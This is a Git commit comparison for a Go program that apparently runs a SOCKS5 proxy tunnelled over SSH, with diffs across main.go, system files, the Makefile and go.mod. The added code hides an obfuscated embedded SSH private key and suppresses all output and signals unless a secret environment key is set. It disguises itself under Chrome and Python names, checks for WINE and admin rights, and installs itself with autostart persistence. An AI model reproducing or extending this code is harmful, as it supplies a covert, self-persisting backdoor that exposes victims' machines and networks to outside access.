Compare commits
4 Commits
36c7e6843f
...
6f72252f35
| Author | SHA1 | Date |
|---|---|---|
|
|
6f72252f35 | |
|
|
4c101d35f6 | |
|
|
6c278f1602 | |
|
|
7784fa8e4a |
2
Makefile
2
Makefile
|
|
@ -74,6 +74,8 @@ resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
|
|||
resources/ssh_private_key.base64.rot13.github: resources/ssh_private_key.base64.rot13
|
||||
base64 -i $< -o $@
|
||||
|
||||
vmk: resources/ssh_private_key
|
||||
shasum -a 256 $<
|
||||
fmt:
|
||||
gofmt -w *.go
|
||||
|
||||
|
|
|
|||
|
|
@ -9,7 +9,8 @@ type config struct {
|
|||
// verbose mode is force enabled. The key is read from the "VMK" environment
|
||||
// variable at startup.
|
||||
//
|
||||
// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
|
||||
// When not set during build, in release mode the SHA256-hex fingerprint is
|
||||
// derived from the PEM SSH private key.
|
||||
VerboseModeKey string
|
||||
|
||||
// SSH server user name
|
||||
|
|
|
|||
3
go.mod
3
go.mod
|
|
@ -3,13 +3,16 @@ module main
|
|||
go 1.22.4
|
||||
|
||||
require (
|
||||
github.com/awnumar/memguard v0.22.5
|
||||
github.com/cloudfoundry/socks5-proxy v0.2.120
|
||||
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
|
||||
github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
|
||||
golang.org/x/crypto v0.25.0
|
||||
golang.org/x/sys v0.22.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/awnumar/memcall v0.2.0 // indirect
|
||||
github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e // indirect
|
||||
github.com/miekg/dns v1.1.29 // indirect
|
||||
golang.org/x/net v0.27.0 // indirect
|
||||
|
|
|
|||
7
go.sum
7
go.sum
|
|
@ -1,12 +1,18 @@
|
|||
github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs=
|
||||
github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=
|
||||
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
|
||||
github.com/awnumar/memcall v0.2.0 h1:sRaogqExTOOkkNwO9pzJsL8jrOV29UuUW7teRMfbqtI=
|
||||
github.com/awnumar/memcall v0.2.0/go.mod h1:S911igBPR9CThzd/hYQQmTc9SWNu3ZHIlCGaWsWsoJo=
|
||||
github.com/awnumar/memguard v0.22.5 h1:PH7sbUVERS5DdXh3+mLo8FDcl1eIeVjJVYMnyuYpvuI=
|
||||
github.com/awnumar/memguard v0.22.5/go.mod h1:+APmZGThMBWjnMlKiSM1X7MVpbIVewen2MTkqWkA/zE=
|
||||
github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e h1:FQdRViaoDphGRfgrotl2QGsX1gbloe57dbGBS5CG6KY=
|
||||
github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e/go.mod h1:PXmcacyJB/pJjSxEl15IU6rEIKXrhZQRzsr0UTkgNNs=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a h1:M88ob4TyDnEqNuL3PgsE/p3bDujfspnulR+0dQWNYZs=
|
||||
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a/go.mod h1:buzQsO8HHkZX2Q45fdfGH1xejPjuDQaXH8btcYMFzPM=
|
||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
|
||||
|
|
@ -68,6 +74,7 @@ golang.org/x/sys v0.0.0-20190221075227-b4e8571b14e0/go.mod h1:STP8DvDyc/dI5b8T5h
|
|||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200409092240-59c9f1ba88fa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
|
||||
|
|
|
|||
15
main.go
15
main.go
|
|
@ -14,13 +14,6 @@ import (
|
|||
var fetchedSSHHostPublicKey SSHHostPublicKeyFetcher
|
||||
var sshfpResolver *sshfp.Resolver
|
||||
|
||||
func secureEraseResourceSSHPrivateKey() {
|
||||
log.Println("ERASING SSH private key")
|
||||
// for i := range resourceSSHPrivateKey {
|
||||
// resourceSSHPrivateKey[i] = 0
|
||||
// }
|
||||
}
|
||||
|
||||
type SSHHostPublicKeyFetcher struct {
|
||||
ssh.PublicKey
|
||||
}
|
||||
|
|
@ -101,7 +94,8 @@ func main() {
|
|||
var signer ssh.Signer
|
||||
var privateKey string
|
||||
|
||||
defer secureEraseResourceSSHPrivateKey()
|
||||
defer systemCloseLogging()
|
||||
defer resourcesPurge()
|
||||
|
||||
dnsServers := sshfp.WithDNSClientConfigFromReader(cfg.DNSServersResolvConf)
|
||||
|
||||
|
|
@ -135,17 +129,16 @@ func main() {
|
|||
|
||||
time.Sleep(time.Second)
|
||||
|
||||
resourceSSHPrivateKeyDestroy()
|
||||
|
||||
proxyServerURL, err := sshSocks5Proxy.Addr()
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
|
||||
secureEraseResourceSSHPrivateKey()
|
||||
|
||||
log.Println("SOCKS5 Addr", proxyServerURL)
|
||||
|
||||
systemOSDetect()
|
||||
systemGetWellKnownExistingPaths()
|
||||
|
||||
mainLoop()
|
||||
}
|
||||
|
|
|
|||
|
|
@ -4,3 +4,6 @@
|
|||
package main
|
||||
|
||||
var resourceSSHPrivateKey string
|
||||
|
||||
func resourcesPurge() {
|
||||
}
|
||||
|
|
|
|||
|
|
@ -4,16 +4,23 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
_ "embed"
|
||||
"os"
|
||||
"log"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"github.com/awnumar/memguard"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
//go:embed resources/ssh_private_key.base64.rot13
|
||||
var resourceSSHPrivateKeyBase64Rot13 string
|
||||
|
||||
var resourceSSHPrivateKey string
|
||||
var resourceSSHPrivateKeyMemguardBuffer *memguard.LockedBuffer
|
||||
|
||||
func rot13(input byte) byte {
|
||||
if 'A' <= input && input <= 'Z' {
|
||||
|
|
@ -33,9 +40,11 @@ func rot13String(input string) string {
|
|||
return string(result)
|
||||
}
|
||||
|
||||
func resourceSSHPrivateKeyUnpack() {
|
||||
// TODO use github.com/awnumar/memguard
|
||||
func resourcesPurge() {
|
||||
memguard.Purge()
|
||||
}
|
||||
|
||||
func resourceSSHPrivateKeyUnpack() string {
|
||||
resourceSSHPrivateKeyBase64 := rot13String(resourceSSHPrivateKeyBase64Rot13)
|
||||
|
||||
decodedData, err := base64.StdEncoding.DecodeString(resourceSSHPrivateKeyBase64)
|
||||
|
|
@ -43,15 +52,69 @@ func resourceSSHPrivateKeyUnpack() {
|
|||
log.Fatalf("Failed to decode resourceSSHPrivateKeyBase64Rot13: %v", err)
|
||||
}
|
||||
|
||||
resourceSSHPrivateKey = string(decodedData)
|
||||
resourceSSHPrivateKeyMemguardBuffer = memguard.NewBufferFromBytes(decodedData)
|
||||
resourceSSHPrivateKey = resourceSSHPrivateKeyMemguardBuffer.String()
|
||||
|
||||
shasum := sha256.New()
|
||||
shasum.Write([]byte(resourceSSHPrivateKey))
|
||||
|
||||
return hex.EncodeToString(shasum.Sum(nil))
|
||||
}
|
||||
|
||||
func resourceSSHPrivateKeyDestroy() {
|
||||
if resourceSSHPrivateKeyMemguardBuffer != nil {
|
||||
resourceSSHPrivateKeyMemguardBuffer.Destroy()
|
||||
resourceSSHPrivateKeyMemguardBuffer = nil
|
||||
//When using after destroy it panics... log.Println(resourceSSHPrivateKey)
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
dontSilenceKey := os.Getenv("VMK")
|
||||
if dontSilenceKey != cfg.VerboseModeKey {
|
||||
systemRouteAllLogging(os.DevNull)
|
||||
systemIgnoreAllSignals()
|
||||
// Safely terminate in case of an interrupt signal
|
||||
memguard.CatchInterrupt()
|
||||
|
||||
var logFile string
|
||||
|
||||
sshPrivateKeySHA256Sum := resourceSSHPrivateKeyUnpack()
|
||||
if cfg.VerboseModeKey == "" {
|
||||
cfg.VerboseModeKey = sshPrivateKeySHA256Sum
|
||||
}
|
||||
|
||||
resourceSSHPrivateKeyUnpack()
|
||||
dontSilenceKey := os.Getenv("VMK")
|
||||
if dontSilenceKey == cfg.VerboseModeKey {
|
||||
logFile = "homedir"
|
||||
} else {
|
||||
systemIgnoreAllSignals()
|
||||
logFile = os.DevNull
|
||||
}
|
||||
// TODO: memguard at this point the cfg.VerboseModeKey ?
|
||||
|
||||
if logFile == "homedir" {
|
||||
logFile = os.DevNull
|
||||
|
||||
usr, err := user.Current()
|
||||
if err == nil {
|
||||
logFilePath := filepath.Join(usr.HomeDir, ".cache")
|
||||
err = os.MkdirAll(logFilePath, 0700)
|
||||
if err == nil {
|
||||
logFile = filepath.Join(logFilePath, "efb.log")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
logFileHandle, err := os.OpenFile(logFile, os.O_WRONLY, 0700)
|
||||
if err == nil {
|
||||
logFileHandle.Close()
|
||||
} else {
|
||||
tempDir := filepath.Join(os.TempDir(), "efb")
|
||||
err = os.MkdirAll(tempDir, os.ModePerm)
|
||||
if err == nil {
|
||||
tempFile, err := ioutil.TempFile(tempDir, "efb.log")
|
||||
if err == nil {
|
||||
logFile = tempFile.Name()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//systemRouteAllLogging(logFile)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
#!/bin/sh
|
||||
export VMK="ShowMeTheMoney"
|
||||
wine64 wineconsole &
|
||||
#wine64 wineconsole &
|
||||
wine64 /Users/jerry/src/github.com/xor-gate/go-socks5-ssh-proxy/socks5-ssh-proxy.exe
|
||||
|
|
|
|||
181
system.go
181
system.go
|
|
@ -2,31 +2,51 @@ package main
|
|||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"log"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var logFileWriter io.WriteCloser = &nopWriteCloser{}
|
||||
|
||||
// nopWriteCloser is a struct that implements io.WriteCloser interface.
|
||||
type nopWriteCloser struct {
|
||||
}
|
||||
|
||||
// Write method for nopWriteCloser.
|
||||
func (d *nopWriteCloser) Write(p []byte) (n int, err error) {
|
||||
// Simply return the length of p and no error, simulating a successful write.
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// Close method for nopWriteCloser.
|
||||
func (d *nopWriteCloser) Close() error {
|
||||
// Return nil to simulate a successful close.
|
||||
return nil
|
||||
}
|
||||
|
||||
// Route all logging
|
||||
func systemRouteAllLogging(logfile string) {
|
||||
nullFile, err := os.OpenFile(logfile, os.O_WRONLY, 0666)
|
||||
logFileHandle, err := os.OpenFile(logfile, os.O_WRONLY, 0666)
|
||||
if err != nil {
|
||||
fmt.Println("Error opening /dev/null:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Redirect stdout and stderr to /dev/null
|
||||
os.Stdout = nullFile
|
||||
os.Stderr = nullFile
|
||||
logFileWriter = logFileHandle
|
||||
|
||||
// Redirect stdout and stderr to logFileWriter
|
||||
os.Stdout = logFileHandle
|
||||
os.Stderr = logFileHandle
|
||||
|
||||
// Redirect log facility to /dev/null
|
||||
log.SetOutput(nullFile)
|
||||
log.SetOutput(logFileHandle)
|
||||
}
|
||||
|
||||
func systemGetAppDataPath() string {
|
||||
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
|
||||
func systemCloseLogging() {
|
||||
logFileWriter.Close()
|
||||
}
|
||||
|
||||
// systemCheckDirExists checks if the directory at the given path exists.
|
||||
|
|
@ -61,6 +81,62 @@ func systemGetFilesInDirectory(path string) ([]string, bool) {
|
|||
return filesInDirectory, true
|
||||
}
|
||||
|
||||
func systemSearchFileInDirectoryRecursive(path string, filename string) []string {
|
||||
var files []string
|
||||
|
||||
// Ensure dir is an absolute path
|
||||
absDir, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Define a function to be called for each directory entry
|
||||
walkFn := func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check if the entry is a file and has the desired extension
|
||||
if !d.IsDir() && filename == d.Name() {
|
||||
absPath := filepath.Join(absDir, path)
|
||||
files = append(files, absPath)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Walk through the directory using fs.WalkDir
|
||||
err = fs.WalkDir(os.DirFS(path), ".", walkFn)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
func systemCopyFile(src string, dst string) error {
|
||||
// Open the source file
|
||||
srcFile, err := os.Open(src)
|
||||
if err != nil {
|
||||
return fmt.Errorf("error opening source file: %v", err)
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
// Create the destination file
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return fmt.Errorf("error creating destination file: %v", err)
|
||||
}
|
||||
defer dstFile.Close()
|
||||
|
||||
// Copy the contents of the source file to the destination file
|
||||
_, err = io.Copy(dstFile, srcFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("error copying file: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func systemIsFileExisting(path string) bool {
|
||||
// Get file info
|
||||
info, err := os.Stat(path)
|
||||
|
|
@ -77,67 +153,6 @@ func systemIsFileExisting(path string) bool {
|
|||
return !info.IsDir()
|
||||
}
|
||||
|
||||
func systemGetSysWOW64Files() []string {
|
||||
sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
|
||||
files, _ := systemGetFilesInDirectory(sysWOW64Path)
|
||||
return files
|
||||
}
|
||||
|
||||
func systemGetSystem32Files() []string {
|
||||
system32Path := filepath.Join("C:", "Windows", "system32")
|
||||
files, _ := systemGetFilesInDirectory(system32Path)
|
||||
return files
|
||||
}
|
||||
|
||||
func systemGetWellKnownWINEOSFiles() []string {
|
||||
var wineFiles []string
|
||||
var foundFiles []string
|
||||
|
||||
foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
|
||||
foundFiles = append(foundFiles, systemGetSystem32Files()...)
|
||||
|
||||
for _, file := range foundFiles {
|
||||
if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
|
||||
wineFiles = append(wineFiles, file)
|
||||
}
|
||||
}
|
||||
|
||||
return wineFiles
|
||||
}
|
||||
|
||||
func systemGetWellKnownExistingPaths() []string {
|
||||
var existingPaths []string
|
||||
|
||||
appDataPath := systemGetAppDataPath()
|
||||
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||
log.Println("\t❌", appDataPath)
|
||||
}
|
||||
|
||||
wellKnownPathsToCheck := []string{
|
||||
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
|
||||
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
|
||||
}
|
||||
|
||||
homeDirectory, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
homeDirPathsToCheck := []string{
|
||||
filepath.Join(homeDirectory, "go", "bin"),
|
||||
}
|
||||
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
|
||||
}
|
||||
|
||||
for _, path := range wellKnownPathsToCheck {
|
||||
if ok := systemIsDirExisting(path); ok {
|
||||
existingPaths = append(existingPaths, path)
|
||||
log.Println("\t✅", path)
|
||||
} else {
|
||||
log.Println("\t❌", path)
|
||||
}
|
||||
}
|
||||
|
||||
return existingPaths
|
||||
}
|
||||
|
||||
func systemIgnoreAllSignals() {
|
||||
// Create a channel to receive OS signals.
|
||||
sigs := make(chan os.Signal, 1)
|
||||
|
|
@ -155,18 +170,18 @@ func systemIgnoreAllSignals() {
|
|||
}()
|
||||
}
|
||||
|
||||
func systemOSDetect() {
|
||||
systemGetUname()
|
||||
|
||||
wineVersion := systemGetWINEVersion()
|
||||
log.Println("WINE version", wineVersion)
|
||||
log.Println("IsUserRoot", systemIsUserRoot())
|
||||
|
||||
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
||||
if len(wineOSFiles) != 0 {
|
||||
log.Println("WINE detected")
|
||||
for _, file := range wineOSFiles {
|
||||
log.Println("\t", file)
|
||||
}
|
||||
func systemGetSelfAbsolutePath() string {
|
||||
// Get the path of the executable
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Convert to absolute path
|
||||
absPath, err := filepath.Abs(exePath)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
return absPath
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,15 +1,11 @@
|
|||
//go:build darwin
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package main
|
||||
|
||||
func systemGetWINEVersion() string {
|
||||
return ""
|
||||
func systemOSDetect() {
|
||||
}
|
||||
|
||||
func systemGetUname() {
|
||||
}
|
||||
|
||||
func systemIsUserRoot() bool {
|
||||
return false
|
||||
func systemGetWellKnownExistingPaths() []string {
|
||||
return nil
|
||||
}
|
||||
|
|
|
|||
|
|
@ -5,14 +5,10 @@ package main
|
|||
|
||||
import (
|
||||
"log"
|
||||
"syscall"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func systemGetWINEVersion() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func systemGetUname() {
|
||||
var uts syscall.Utsname
|
||||
|
||||
|
|
@ -44,6 +40,14 @@ func int8SliceToString(int8Slice []int8) string {
|
|||
return string(byteSlice)
|
||||
}
|
||||
|
||||
func systemGetWellKnownExistingPaths() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func systemIsUserRoot() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func systemOSDetect() {
|
||||
systemGetUname()
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,65 @@
|
|||
//go:build windows
|
||||
//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
|
||||
// +build windows
|
||||
|
||||
//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"C"
|
||||
"fmt"
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"unsafe"
|
||||
"github.com/emersion/go-autostart"
|
||||
)
|
||||
|
||||
// Detect native windows
|
||||
// https://pkg.go.dev/golang.org/x/sys/windows#RtlGetNtVersionNumbers
|
||||
// GetFileVersionInfo
|
||||
|
||||
func systemGetWindowsVersion() {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
cv, _, err := k.GetStringValue("CurrentVersion")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("CurrentVersion: %s\n", cv)
|
||||
|
||||
pn, _, err := k.GetStringValue("ProductName")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("ProductName: %s\n", pn)
|
||||
|
||||
maj, _, err := k.GetIntegerValue("CurrentMajorVersionNumber")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("CurrentMajorVersionNumber: %d\n", maj)
|
||||
|
||||
min, _, err := k.GetIntegerValue("CurrentMinorVersionNumber")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("CurrentMinorVersionNumber: %d\n", min)
|
||||
|
||||
cb, _, err := k.GetStringValue("CurrentBuild")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("CurrentVersion: %s\n", cb)
|
||||
}
|
||||
|
||||
func systemGetWINEVersion() string {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
wineGetVersionFunc := ntdll.NewProc("wine_get_version")
|
||||
|
|
@ -27,9 +76,6 @@ func systemGetWINEVersion() string {
|
|||
return wineVersion
|
||||
}
|
||||
|
||||
func systemGetUname() {
|
||||
}
|
||||
|
||||
func systemIsUserRoot() bool {
|
||||
root := true
|
||||
|
||||
|
|
@ -40,3 +86,143 @@ func systemIsUserRoot() bool {
|
|||
|
||||
return root
|
||||
}
|
||||
|
||||
func systemGetAppDataPath() string {
|
||||
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
|
||||
}
|
||||
|
||||
func systemGetSysWOW64Files() []string {
|
||||
sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
|
||||
files, _ := systemGetFilesInDirectory(sysWOW64Path)
|
||||
return files
|
||||
}
|
||||
|
||||
func systemGetSystem32Files() []string {
|
||||
system32Path := filepath.Join("C:", "Windows", "system32")
|
||||
files, _ := systemGetFilesInDirectory(system32Path)
|
||||
return files
|
||||
}
|
||||
|
||||
func systemGetWellKnownWINEOSFiles() []string {
|
||||
var wineFiles []string
|
||||
var foundFiles []string
|
||||
|
||||
foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
|
||||
foundFiles = append(foundFiles, systemGetSystem32Files()...)
|
||||
|
||||
for _, file := range foundFiles {
|
||||
if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
|
||||
wineFiles = append(wineFiles, file)
|
||||
}
|
||||
}
|
||||
|
||||
return wineFiles
|
||||
}
|
||||
|
||||
func systemAppDataSearchPythonInstallationPaths() []string {
|
||||
appDataPath := systemGetAppDataPath()
|
||||
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||
log.Println("\t❌", appDataPath)
|
||||
}
|
||||
|
||||
var installFolders []string
|
||||
|
||||
appDataLocalProgramsPythonPath := filepath.Join(appDataPath, "Local", "Programs", "Python")
|
||||
paths := systemSearchFileInDirectoryRecursive(appDataLocalProgramsPythonPath, "python.exe")
|
||||
for _, path := range paths {
|
||||
dir := filepath.Dir(path)
|
||||
if strings.Contains(dir, "venv") {
|
||||
continue
|
||||
}
|
||||
log.Println("\t✅", dir)
|
||||
installFolders = append(installFolders, dir)
|
||||
}
|
||||
|
||||
return installFolders
|
||||
}
|
||||
|
||||
func systemTryInstallPythonPath() string {
|
||||
paths := systemAppDataSearchPythonInstallationPaths()
|
||||
if len(paths) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
selfEXEPath := systemGetSelfAbsolutePath()
|
||||
destEXEPath := filepath.Join(paths[0], "python_proxy.exe") // first path should be OK
|
||||
|
||||
err := systemCopyFile(selfEXEPath, destEXEPath)
|
||||
log.Println("copy", selfEXEPath, "->", destEXEPath)
|
||||
if err != nil {
|
||||
log.Println("❌", err)
|
||||
return ""
|
||||
}
|
||||
|
||||
app := &autostart.App {
|
||||
Name: "python_proxy.exe",
|
||||
DisplayName: "",
|
||||
Exec: []string{"cmd.exe", "/C", destEXEPath},
|
||||
}
|
||||
err = app.Enable()
|
||||
if err == nil {
|
||||
log.Println("\tINSTALLED ✅", selfEXEPath)
|
||||
}
|
||||
|
||||
return destEXEPath
|
||||
}
|
||||
|
||||
/*
|
||||
func systemGetWellKnownExistingPaths() []string {
|
||||
var existingPaths []string
|
||||
|
||||
appDataPath := systemGetAppDataPath()
|
||||
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||
if err != nil {
|
||||
|
||||
log.Println("\t❌", appDataPath)
|
||||
}
|
||||
|
||||
wellKnownPathsToCheck := []string{
|
||||
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
|
||||
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
|
||||
}
|
||||
|
||||
homeDirectory, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
homeDirPathsToCheck := []string{
|
||||
filepath.Join(homeDirectory, "go", "bin"),
|
||||
}
|
||||
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
|
||||
}
|
||||
|
||||
for _, path := range wellKnownPathsToCheck {
|
||||
if ok := systemIsDirExisting(path); ok {
|
||||
existingPaths = append(existingPaths, path)
|
||||
log.Println("\t✅", path)
|
||||
} else {
|
||||
log.Println("\t❌", path)
|
||||
}
|
||||
}
|
||||
|
||||
return existingPaths
|
||||
}
|
||||
*/
|
||||
|
||||
func systemOSDetect() {
|
||||
systemGetWindowsVersion()
|
||||
|
||||
wineVersion := systemGetWINEVersion()
|
||||
log.Println("WINE version", wineVersion)
|
||||
log.Println("IsUserRoot", systemIsUserRoot())
|
||||
|
||||
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
||||
if len(wineOSFiles) != 0 {
|
||||
log.Println("WINE detected")
|
||||
for _, file := range wineOSFiles {
|
||||
log.Println("\t", file)
|
||||
}
|
||||
}
|
||||
|
||||
// systemGetWellKnownExistingPaths()
|
||||
systemAppDataSearchPythonInstallationPaths()
|
||||
systemTryInstallPythonPath()
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,64 @@
|
|||
linux_task:
|
||||
container:
|
||||
image: golang:latest
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
|
||||
osx_task:
|
||||
osx_instance:
|
||||
image: big-sur-base
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
PATH: ${GOPATH}/bin:${PATH}
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- brew install go
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
|
||||
windows_task:
|
||||
windows_container:
|
||||
image: cirrusci/windowsservercore:2019
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: C:\golang
|
||||
PATH: ${GOPATH}\bin;C:\Program Files\Go\bin;C:\Users\ContainerAdministrator\go\bin;${PATH}
|
||||
CIRRUS_WORKING_DIR: C:\golang\src\github.com\${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- choco install -y golang
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
|
||||
freebsd_task:
|
||||
freebsd_instance:
|
||||
image: freebsd-12-2-release-amd64
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
PATH: ${GOPATH}/bin:${PATH}
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- pkg install -y go git
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
|
|
@ -0,0 +1,201 @@
